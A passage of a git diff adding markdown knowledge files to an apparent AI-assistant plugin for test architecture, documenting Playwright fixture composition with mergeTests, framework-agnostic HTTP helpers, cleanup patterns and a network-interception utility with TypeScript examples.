+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
